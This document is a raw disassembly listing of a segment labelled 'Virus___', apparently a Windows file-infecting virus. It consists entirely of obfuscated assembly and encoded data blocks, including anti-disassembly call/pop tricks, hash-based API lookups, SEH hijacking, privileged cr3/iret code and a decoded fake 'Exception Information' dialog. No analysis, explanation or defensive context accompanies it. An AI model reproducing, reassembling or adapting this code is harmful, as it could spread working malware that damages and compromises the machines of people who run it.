loc_59CFC9:				; CODE XREF: Virus___:0059CA9Ej
		mov	eax, eax
		xor	cx, 8CF1h
		mov	[ebp+95D2945h],	eax
		cmp	dword ptr [ebp+95D1809h], 0
		jnz	short loc_59CFE8
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59D001


loc_59CFE8:				; CODE XREF: Virus___:0059CFDDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D9h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FAA61h]
		call	ebx
		pop	ebx
		pop	eax


loc_59D001:				; CODE XREF: Virus___:0059CFE6j
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_59D021
		push	eax
		push	ebx
		mov	eax, 7D9h
		mov	[ebp+95D10ADh],	eax
		lea	ebx, [ebp+95FA750h]
		call	ebx
		pop	ebx
		pop	eax


loc_59D021:				; CODE XREF: Virus___:0059D008j
		push	edi
		mov	[ebp+95D10A1h],	edi
		pop	edx
		mov	ecx, 66F784A7h
		mov	eax, eax
		xor	cl, 0D9h
		push	eax
		mov	ebx, eax
		mov	[ebp+95D1115h],	edx
		jmp	loc_59D049
; ---------------------------------------------------------------------------
		db 5Bh,	92h, 63h
		dd 707262E6h
; ---------------------------------------------------------------------------
		push	ecx


loc_59D049:				; CODE XREF: Virus___:0059D03Cj
		push	ebx
		lea	ebx, [ebp+95D0A5Dh]
		mov	eax, [ebx]
		mov	[ebx], eax
		mov	eax, [ebx+50h]
		mov	[ebx+50h], eax
		lea	ebx, [ebp+95FF80Ch]
		mov	eax, [ebx]
		mov	[ebx], eax
		pop	ebx
		call	near ptr loc_59D076+4
		dec	esp
		sub	ah, [esi+546308BCh]
		pop	ds
		pop	edx
		test	[ecx], al
		push	esi


loc_59D076:				; CODE XREF: Virus___:0059D065p
		fcomp	dword ptr [ebp-7CF080DAh]
		adc	[eax], al
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		call	sub_59D08F
		cwde
		cli
		sub	ah, [edx+ebp*2]
		add	eax, 0CB67D726h

; =============== S U B	R O U T	I N E =======================================



sub_59D08F	proc near		; CODE XREF: Virus___:0059D080p
		pop	edx
		pop	edi
		push	0
		jmp	loc_59D0A8
; ---------------------------------------------------------------------------
		dd 0A42CA1ACh, 45100337h, 506FD1BCh, 3430E078h
; ---------------------------------------------------------------------------


loc_59D0A8:				; CODE XREF: sub_59D08F+4j
		lea	eax, [ebp+95FF80Ch]
		mov	dl, 31h
		push	eax
		and	di, 0E441h
		push	60h
		push	0
		push	ebx
		call	sub_59D0C3
		and	[ebx-3Dh], bl
sub_59D08F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59D0C3	proc near		; CODE XREF: sub_59D08F+2Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_59D0C3	endp

; ---------------------------------------------------------------------------
		mov	ss, word ptr [eax+5F710269h]
		mov	[eax-73h], esi
		mov	ecx, edi
		mov	[ebp+95D305Dh],	edi
		lea	eax, [ebp+95D0A5Dh]
		push	0
		push	edi
		call	sub_59D0F6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D0F6	proc near		; CODE XREF: Virus___:0059D0EEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_59D0F6	endp

; ---------------------------------------------------------------------------
		stc
		mov	esi, [esi-52h]
		sub	ecx, [ebp+95D0645h]
		add	[ebp+95D1A35h],	ecx
		push	eax
		and	ch, 4Eh
		push	0
		push	0
		push	edi
		call	sub_59D127
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D127	proc near		; CODE XREF: Virus___:0059D11Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_59D127	endp

; ---------------------------------------------------------------------------
		adc	dh, [ebx+48h]
		sti
		retn
; ---------------------------------------------------------------------------
		dd 2034BA42h, 6AB7C680h, 68D18B00h, 1800h, 0FE8h, 6E733800h
		dd 700EB31h, 934341A0h,	0D7ADAAB4h, 5C58D2Bh, 5359095Dh
		dd 95FFD48Ah, 95D0061h,	0F0E1F281h, 95FF3C80h, 95D1795h
		dd 8E9h, 652E2700h, 0C29642C7h,	73B5FFDDh, 0E8095FF8h
		dd 0Fh,	0EDE810B0h, 0AA11DA75h,	0E49B8E58h, 816716CFh
		dd 2EE85AE7h, 0EA8A594Ah, 225995FFh, 890F095Dh,	6, 2A758531h
		dd 858D095Dh, 95D0A5Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 13C35545h, 6D3FC9C0h,	894A57C1h, 5D1CD9BDh
		dd 18408B09h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0FDC35646h, 0A79B1F1Bh,	79E63817h, 418D89F7h, 0C7095D09h
		dd 5D13AD85h, 9, 0EA816600h, 0BD83595Fh, 95D1639h, 19840F00h
		dd 81000000h, 319995D9h, 8C3D04h, 830F0000h, 1C3h, 11E9h
		dd 0D2B70F00h, 983Dh, 0B0830F00h, 66000001h, 858DF98Bh
		dd 5B243Bh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 18h,	0B7C35545h, 0C8C40A36h,	3820Fh,	0B70F0000h, 0FCD0FFD3h
		dd 1E8E858Dh, 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0E8DDA3C3h, 0D0FA7EB0h, 0FFF9008Ch
		dd 7E9D0h, 3D410000h, 0BD027DB0h, 9D8D8BC5h, 8B095D1Eh
		dd 1958BC0h, 83095D14h,	5D1809BDh, 9750009h, 329BD83h
		dd 7400095Dh, 8B535019h, 0BC6B8C0h, 85890000h, 95D10ADh
		dd 0AA619D8Dh, 0D3FF095Fh, 0BD83585Bh, 95D0329h, 50177400h
		dd 0BC6B853h, 85890000h, 95D10ADh, 0A7509D8Dh, 0D3FF095Fh
		dd 0F52585Bh, 68Eh, 31852900h, 59095D25h, 0B360C08Bh, 14E81Fh
		dd 0C3DA0000h, 7A9B3493h, 9148591Ch, 1D89465Ah,	597CB59Ch
		dd 61606CE8h, 0F883615Bh, 67850FFFh, 60000000h,	858BCF8Bh
		dd 95D2675h, 5D85C761h,	95D0Fh,	0E8000000h, 10h, 9E4E8A33h
		dd 0DD83733Bh, 0C43DAD88h, 0DA48FCF5h, 16998D8Bh, 0E959095Dh
		dd 129h, 0CA8BEC8Ah, 67E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 9F280C22h
		dd 0BD633F1Fh, 11ADBD2Bh, 0F883095Dh, 35850F01h, 89000000h
		dd 5D038195h, 103E909h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 6273ECC3h, 27399D89h
		dd 8D89095Dh, 95D18EDh,	0FFF10AE9h, 0F1B589FFh,	8B095D1Eh
		dd 8960F8C0h, 5D211D95h, 0BD836109h, 95D1809h, 83097500h
		dd 5D0329BDh, 19740009h, 0C08B5350h, 7DDB8h, 0AD858900h
		dd 8D095D10h, 5FAA619Dh, 5BD3FF09h, 29BD8358h, 95D03h
		dd 53501774h, 7DDB8h, 0AD858900h, 8D095D10h, 5FA7509Dh
		dd 5BD3FF09h, 18D8B58h,	6A095D29h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0ED3AC352h
		dd 4BF87FBFh, 1391BD89h, 8589095Dh, 95D3195h, 9589C08Bh
		dd 95D02B9h, 0C8F0Fh, 8D0F0000h, 6, 15958Bh, 0E0E9095Dh
		dd 89000001h, 5D130D85h, 10858D09h, 89095FF6h, 5D32F995h
		dd 8858909h, 8B095FF8h,	5D176DBDh, 21E909h, 8B660000h
; ---------------------------------------------------------------------------
		xlat


loc_59D4D9:				; CODE XREF: Virus___:0059CEF4j
		lea	eax, [ebp+95FF418h]
		mov	edi, [ebp+95D3371h]
		inc	eax
		mov	edi, 1B246759h
		mov	[ebp+95FF808h],	eax
		mov	ecx, [ebp+95D27BDh]
		push	34h
		lea	eax, [ebp+95D33DDh]
		push	eax
		push	dword ptr [ebp+95FF808h]
		push	0
		call	dword ptr [ebp+95D1659h]
		cmp	eax, 7
		jz	loc_59D67F
		mov	bx, ds
		test	bl, 4
		jnz	loc_59D625
		mov	byte ptr [ebp+95D3335h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+95D08F1h]
		lea	eax, [ebp+95D3973h]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+95FF87Bh],	eax
		mov	byte ptr [ebp+95D3335h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+95D08F1h]
		lea	eax, [ebp+95D3973h]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+95D3335h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+95D0605h]
		lea	eax, [ebp+95D3973h]
		call	eax
		lea	ebx, [ebp+95FF877h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+95D3335h], 41h
		push	0DB876498h
		push	dword ptr [ebp+95D0605h]
		lea	eax, [ebp+95D3973h]
		call	eax
		mov	[ebp+95FF894h],	eax
		mov	byte ptr [ebp+95D3335h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+95D0605h]
		lea	eax, [ebp+95D3973h]
		call	eax
		mov	ebx, [ebp+95FF87Bh]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+95FF880h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+95FF87Bh]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+95D2BF1h]
		mov	dword ptr [ebp+95D0C09h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+95FF87Bh]
		push	ebx
		push	0
		push	dword ptr [ebp+95FF877h]
		call	dword ptr [ebp+95FF894h]


loc_59D625:				; CODE XREF: Virus___:0059D51Dj
		mov	byte ptr [ebp+95D3335h], 45h
		push	92A5F797h
		push	dword ptr [ebp+95D0711h]
		lea	eax, [ebp+95D3973h]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_59D67F
		mov	ebx, [ebp+95FF87Bh]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+95FF87Bh]
		push	ebx
		push	0
		push	dword ptr [ebp+95FF877h]
		call	dword ptr [ebp+95FF894h]
		push	dword ptr [ebp+95FF877h]
		call	dword ptr [ebp+95D1795h]


loc_59D67F:				; CODE XREF: Virus___:0059D511j
					; Virus___:0059D64Bj
		push	0
		call	dword ptr [ebp+95D02BDh]
		mov	[ebp+95D1D39h],	ebx
		mov	[ebp+95D0BE1h],	eax
		lea	eax, [ebp+9602C94h]
		push	ebx
		or	[ebp+95D058Dh],	ecx
		pop	edi
		push	eax
		mov	[ebp+95D1EC5h],	ecx
		push	large dword ptr	fs:0
		add	[ebp+95D0881h],	ecx
		mov	large fs:0, esp
		call	sub_59D6CB
		jp	short sub_59D709
		sub	[eax+4525CFC9h], esi
		jg	short near ptr loc_59D6F8+1

; =============== S U B	R O U T	I N E =======================================



sub_59D6CB	proc near		; CODE XREF: Virus___:0059D6BCp

; FUNCTION CHUNK AT 0059D736 SIZE 0000000D BYTES

		movzx	edi, cx
		pop	edi
		cmp	dword ptr [ebp+95D317Dh], 0
		jz	loc_59D736
		mov	edx, ecx
		cmp	dword ptr [ebp+95D0971h], 1
		jnz	loc_59D736
		push	eax
		mov	cx, 6F9Ch
		pop	ecx
		cmp	byte ptr [ebp+95FFC94h], 0


loc_59D6F8:				; CODE XREF: Virus___:0059D6C9j
		jnz	loc_59D736
		push	0
		push	edx
		call	sub_59D709
		and	[edx-3Dh], bl
sub_59D6CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59D709	proc near		; CODE XREF: Virus___:0059D6C1j
					; sub_59D6CB+36p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_59D709	endp

; ---------------------------------------------------------------------------
		xlat
		stc
		xchg	eax, ecx
		sub	[ecx+79h], ebp
		and	[ecx-17h], dh
		pop	edi
		add	[eax], eax
		add	[esi+56h], dl
		jmp	loc_59D734
; ---------------------------------------------------------------------------
		dw 9F9h
		db 0CCh
		db 12h,	0AFh, 0A3h
; ---------------------------------------------------------------------------


loc_59D734:				; CODE XREF: Virus___:0059D729j
		pop	edi
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59D6CB


loc_59D736:				; CODE XREF: sub_59D6CB+Bj
					; sub_59D6CB+1Aj ...
		xor	ebx, ebx
		push	0
		push	esi
		call	sub_59D743
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_59D6CB

; =============== S U B	R O U T	I N E =======================================



sub_59D743	proc near		; CODE XREF: sub_59D6CB+70p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_59D743	endp

; ---------------------------------------------------------------------------
		db 2Bh
		dd 798FDCF6h, 0BD8B6BDEh, 95D060Dh, 0F40C033h, 640B073Fh
		dd 58Fh, 0C4830000h, 0ADB96604h, 0E6BA6684h, 0FFFB8356h
		dd 31840Fh, 0F7810000h,	2C769743h, 0EFE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 2FB360FDh, 285D952Bh, 0E961095Dh, 72h, 185D9589h, 0B589095Dh
		dd 95D0021h, 0C244C8Bh,	0A481C7h, 0FFFF0000h, 8183FFFFh
		dd 0B8h, 0C3C03304h, 0C245C8Bh,	0E855h,	815D0000h, 602CB6EDh
		dd 0B8838B09h, 8D000000h, 602D5685h, 0B8838909h, 5D000000h
		dd 0FC3C033h, 1B82h, 13E800h, 868C0000h, 97F3E1E2h, 5AA88FA5h
		dd 0FE33CF27h, 365842E9h, 5F8DB5A5h, 281CF281h,	858D19EBh
		dd 9602CACh, 8D8B50F8h,	95D32B1h, 9C19503h, 0FF64095Dh
		dd 35h,	95950300h, 64095D09h, 2589h, 0CA8B0000h, 0AB9h
		dd 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh
		dd 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh, 10C985C7h
		dd 1095Dh, 8F640000h, 5, 4C48300h, 6C58D8Bh, 0B70F095Dh
		dd 11E9FEh, 0C0C10000h,	34241CB7h, 67658EFAh, 86AE89E9h
		dd 8B24832Ch, 0BD83F9C0h, 95D1809h, 83097500h, 5D0329BDh
		dd 19740009h, 0C08B5350h, 43DB8h, 11858900h, 8D095D13h
		dd 5FAAC89Dh, 5BD3FF09h, 29BD8358h, 95D03h, 53501774h
		dd 43DB8h, 11858900h, 8D095D13h, 5FA7699Dh, 5BD3FF09h
		dd 0FFB70F58h, 38D6E781h, 0BD8B3868h, 95D2645h,	47E9C08Bh
		dd 4000001h, 31000000h,	3031392Eh, 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h
		dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch
		dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh
		dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh
		dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h
		dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h
		dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh
		dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h
		dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h
		dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh
		dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h
		dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h
		dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h
		dd 3D202020h, 0A642520h, 0BD83000Dh, 95D3399h, 2D840F00h
		dd 8D000001h, 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h
		dd 95FA590h, 2DE3858Dh,	8D500960h, 602DED85h, 6A5009h
		dd 858D006Ah, 95FA4FEh,	80B5FF50h, 0FF095FA5h, 5D278195h
		dd 0E3858D09h, 5009602Dh, 2DF1858Dh, 6A500960h,	8D006A00h
		dd 5FA51085h, 0B5FF5009h, 95FA580h, 278195FFh, 858D095Dh
		dd 9602DE3h, 0FD858D50h, 5009602Dh, 6A006Ah, 0A55D858Dh
		dd 0FF50095Fh, 5FA580B5h, 8195FF09h, 8D095D27h,	602DE385h
		dd 858D5009h, 9602E05h,	6A006A50h, 7B858D00h, 50095FA5h
		dd 0A580B5FFh, 95FF095Fh, 95D2781h, 2DE3858Dh, 8D500960h
		dd 602E0185h, 6A5009h, 858D006Ah, 95FA564h, 80B5FF50h
		dd 0FF095FA5h, 5D278195h, 0E3858D09h, 5009602Dh, 2DF5858Dh
		dd 6A500960h, 8D006A00h, 5FA56C85h, 0B5FF5009h,	95FA580h
		dd 278195FFh, 858D095Dh, 9602DE3h, 0F9858D50h, 5009602Dh
		dd 6A006Ah, 0A573858Dh,	0FF50095Fh, 5FA580B5h, 8195FF09h
		dd 0FF095D27h, 5FA580B5h, 8D95FF09h, 0E9095D10h, 0A2h
		dd 1461BD83h, 0F00095Dh, 9584h,	71BD8300h, 95D09h, 11850Fh
		dd 958B0000h, 95D24C5h,	1CF8C281h, 0FE90000h, 8D000000h
		dd 5D0A5D95h, 34528B09h, 0C340C281h, 95893BD4h,	95D2511h
		dd 2511BD83h, 0F00095Dh, 5584h,	119D8B00h, 83095D25h, 38B4CC3h
		dd 2DED8589h, 9D8B0960h, 95D2511h, 8B50C383h, 0F1858903h
		dd 8B09602Dh, 5D25119Dh, 54C38309h, 8589038Bh, 9602DFDh
		dd 25119D8Bh, 0C383095Dh, 89038B58h, 602E0185h,	119D8B09h
		dd 83095D25h, 38B5CC3h,	2DF58589h, 0BD830960h, 95D3399h
		dd 0D850F00h, 83000000h, 5D1461BDh, 840F0009h, 68h, 2E05B5FFh
		dd 0B5FF0960h, 9602DF9h, 2DF5B5FFh, 0B5FF0960h,	9602E01h
		dd 2DFDB5FFh, 0B5FF0960h, 9602DF1h, 2DEDB5FFh, 858D0960h
		dd 9602DE7h, 1F858D50h,	5009602Eh, 0CF5858Dh, 0FF50095Dh
		dd 5D111D95h, 24C48309h, 858D406Ah, 9602E09h, 0F5858D50h
		dd 50095D0Ch, 95FF006Ah, 95D1659h, 95FF016Ah, 95D02BDh
		dd 11E8C18Bh, 4D000000h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h
		dd 0A19DF547h, 0DE8h, 1A520100h, 9BA886A2h, 0E5E5DD4Eh
		dd 595EE57Dh, 68D0F57h,	0F000000h, 85h,	0C1815F00h, 6154h
		dd 0FF08166h, 51EDBA4Dh, 0C281748Fh, 8B70C634h,	0FFF1BF0Fh
		dd 0E4BF6631h, 0BE665BA8h, 0C381A30Ch, 3ED51797h, 6E8h
		dd 395FA100h, 662D5FF5h, 8158F08Bh, 6251CFF3h, 0A3F3814Fh
		dd 0F7D0CE5h, 1581h, 0BE800h, 4C880000h, 942BCAB1h, 0A46258DEh
		dd 8FBE661Dh, 19895FD0h, 8B04E983h, 1EA83F1h, 1E850Fh
		dd 0B3BF0000h, 0E97CBBB9h, 27h,	272ED978h, 0C93E9943h
		dd 2ECE2D9Dh, 0E476118Eh, 90ADAD38h, 0FFFF86E9h, 5110AFFFh
		dd 3F49929h, 396C1C7Fh,	0EB2C3934h, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 960328Ch
		popa
		retn	4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFFE6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh,	0E90008C2h
		dd 0FFFFFFF6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DDFC:				; CODE XREF: Virus___:0059DDFFj
		pusha
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59DDFC
; ---------------------------------------------------------------------------
		mov	esi, [ebp+96032C4h]
		and	esi, 0FFFFF000h
		jmp	loc_59DE20
; ---------------------------------------------------------------------------


loc_59DE15:				; CODE XREF: Virus___:0059DE26j
		call	sub_59DE33
		add	esi, 1000h


loc_59DE20:				; CODE XREF: Virus___:0059DE10j
		cmp	esi, [ebp+96032C8h]
		jbe	loc_59DE15
		mov	eax, cr3
		mov	cr3, eax
		iret

; =============== S U B	R O U T	I N E =======================================



sub_59DE33	proc near		; CODE XREF: Virus___:loc_59DE15p
		pusha
		popa
		retn
sub_59DE33	endp

; ---------------------------------------------------------------------------


loc_59DE36:				; CODE XREF: Virus___:0059DE62j
		push	eax
		mov	ax, cs
		and	al, 3
		or	al, al
		jz	loc_59DE5D
		push	eax
		push	ebx
		mov	ebx, 2
		mov	eax, [ebp+95D2511h]


loc_59DE51:				; CODE XREF: Virus___:0059DE55j
		xchg	bl, [eax]
		or	bl, bl
		jnz	loc_59DE51
		pop	ebx
		pop	eax


loc_59DE5D:				; CODE XREF: Virus___:0059DE3Ej
		pop	eax
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59DE36
; ---------------------------------------------------------------------------
		db 50h
		dd 82474FFh, 245595FFh,	0F50095Dh, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	5D251185h, 0C609h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 11858B00h, 86095D25h, 0FDB0A18h, 0FFFFF685h,	0D985C7FFh
		dd 95D11h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 11D985C7h, 100095Dh, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 326985C7h, 10960h, 0F500000h
		dd 0FE244C01h, 326D858Fh, 858D0960h, 9603265h, 326DBD8Dh
		dd 38890960h, 23E9h, 5D858D00h,	8B095D0Ah, 17053840h, 899B46F3h
		dd 60326585h, 5D858D09h, 8B095D0Ah, 85893C40h, 9603269h
		dd 3282858Dh, 85890960h, 95D2455h, 87E9h, 0D48B5200h, 8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 34F5858Dh, 85890960h, 95D2961h, 351D858Dh, 85890960h
		dd 95D12E1h, 3545858Dh,	85890960h, 95D2731h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 95D0971h, 69DE858Dh,	88B0960h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 35A68D89h, 0BD830960h, 95D1639h,	0F840F00h
		dd 60000000h, 95FF006Ah, 95D11B1h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0A285895Ah,	8B096035h
		dd 6035A6B5h, 10CEC109h, 2728966h, 35A6B58Bh, 89660960h
		dd 8B61FC72h, 6035A285h, 958DC309h, 95D1B35h, 25119589h
		dd 9589095Dh, 95D2215h,	221585FFh, 85C6095Dh, 95D3335h
		dd 48D86853h, 0B5FFFCB1h, 95D08F1h, 3973858Dh, 0D0FF095Dh
		dd 11B18589h, 858D095Dh, 960329Ch, 7698589h, 0EB095Dh
		dd 5A5E9h, 599E900h, 3E680000h,	0E9096037h, 0FFFD47FBh
		dd 60382368h, 47F1E909h, 0A968FFFDh, 0E9096038h, 0FFFD47E7h
		dd 60398F68h, 47DDE909h, 0CC68FFFDh, 0E909603Ah, 0FFFD47D3h
		dd 8B005012h, 0BB302027h, 850E4E17h, 0CC471729h, 0F47FDF60h
		dd 46194AB4h, 31319D16h, 4206AA21h, 30359912h, 0C58CAB20h
		dd 0F817CC56h, 0A2063430h, 584D7981h, 4E10123Ah, 78853A58h
		dd 153A584Dh, 3A584E05h, 584D7986h, 4E06143Ah, 484FBA58h
		dd 48BF2C65h, 8FB3333Ah, 92BB2123h, 0BA57F5A6h,	73152134h
		dd 8DCD963Ah, 0B14DDECBh, 2FB0FAFDh, 0CA662F3Ah, 0F955DE7Eh
		dd 0F6ADEB6Bh, 34A7EEC1h, 0A9D5D01Fh, 0D8C28E9Bh, 17AB80F1h
		dd 4304551h, 0BE800000h, 0AAB9159Eh, 0B48D21AAh, 0C1832FA4h
		dd 0ADB61A91h, 186626ADh, 53D878CBh, 7CF767FFh,	4FC494D0h
		dd 7DF666E3h, 7E80135Ah, 0E230F816h, 0ABBE74D0h, 12075712h
		dd 4D38C754h, 19653A58h, 0A7B7B245h, 7CC9652Ch,	108F9ADCh
		dd 50FC4697h, 0A5093DF2h, 5AF6B0A0h, 18094F0Fh,	7ACFDA64h
		dd 0FC091586h, 62773A57h, 5FA0FC77h, 86B48362h,	398h, 0ABABBE22h
		dd 4DA17EEDh, 8FF33A58h, 312124B3h, 47D49DBAh, 3A584DBBh
		dd 0DA763025h, 0E945CE8Eh, 5EFE455Ch, 51180D18h, 0C54822CEh
		dd 30F229FBh, 0D4920D7Fh, 0DB9DA979h, 1F941780h, 728C1F56h
		dd 0EE3A582Ch, 0E663CFFBh, 0C69C3076h, 0F073DF96h, 4CDF5460h
		dd 3A582CAEh, 0B4F262E0h, 4C05A8EFh, 3313D8DFh,	49051033h
		dd 34DDC78Dh, 4BC4D096h, 9D000003h, 0B61A91C1h,	862AA1B1h
		dd 0B8149FBFh, 8F23A8A8h, 6F2FA4B4h, 0DF7FC021h, 0EA6AF854h
		dd 0E777CD61h, 0D585C06Ch, 0A330795Eh, 30F8155Fh, 0BE57F3C1h
		dd 41EDABABh, 0BE125404h, 4DE1A8A8h, 5926E9F3h,	690E7C8Dh
		dd 1B2F3A7Ch, 0C7BB0390h, 4AD03A57h, 7C3A57B7h,	0E676CFE6h
		dd 50FCB5F3h, 0EB6BFB12h, 99ADB8FEh, 57B7F40Ah,	4F62513Ah
		dd 0A2EA9506h, 0BA163332h, 0FCE9AFAFh, 18F3A5E9h, 2E6834DEh
		dd 2C53Ah, 0B4B1700h, 47172C80h, 71E160CCh, 4E0E56FAh
		dd 86D669C5h, 0DE034D0Dh, 0F25ED585h, 0C36FE474h, 0F25ED585h
		dd 4B6CE777h, 158D9102h, 0C1F330F8h, 0ABABBE65h, 66F64EE2h
		dd 47013520h, 0AA3A20Eh, 495C1A3Ah, 81C4685Ch, 293B97D1h
		dd 81C36F29h, 0FA8697D1h, 0DB27B468h, 453A584Dh, 28544550h
		dd 1AF96616h, 0B276F991h, 0FA4FE3D7h, 4C8DD15Ah, 0A9B483FAh
		dd 228h, 4D79810Dh, 64C83A58h, 316FF4DEh, 0B964BC44h, 146EAACh
		dd 0DC704451h, 0FB079488h, 653A5755h, 802C6570h, 0C0D593C3h
		dd 95D37FF4h, 3C54B94Fh, 7A6F0F7Eh, 84D4903Ch, 93AFD3C2h
		dd 9B104004h, 840482C7h, 55C68FB4h, 3A5765C9h, 92F464FDh
		dd 4896B387h, 32000000h, 2E674A49h, 334152BDh, 0F7BBAE33h
		dd 34DDA30Bh, 0DF5E4A0Ch, 31000001h, 0AA62D2Dh,	3A961D3Dh
		dd 0CA02B2Bh, 3AF2434h,	0DB9B1040h, 6BEB746Dh, 66F64CE0h
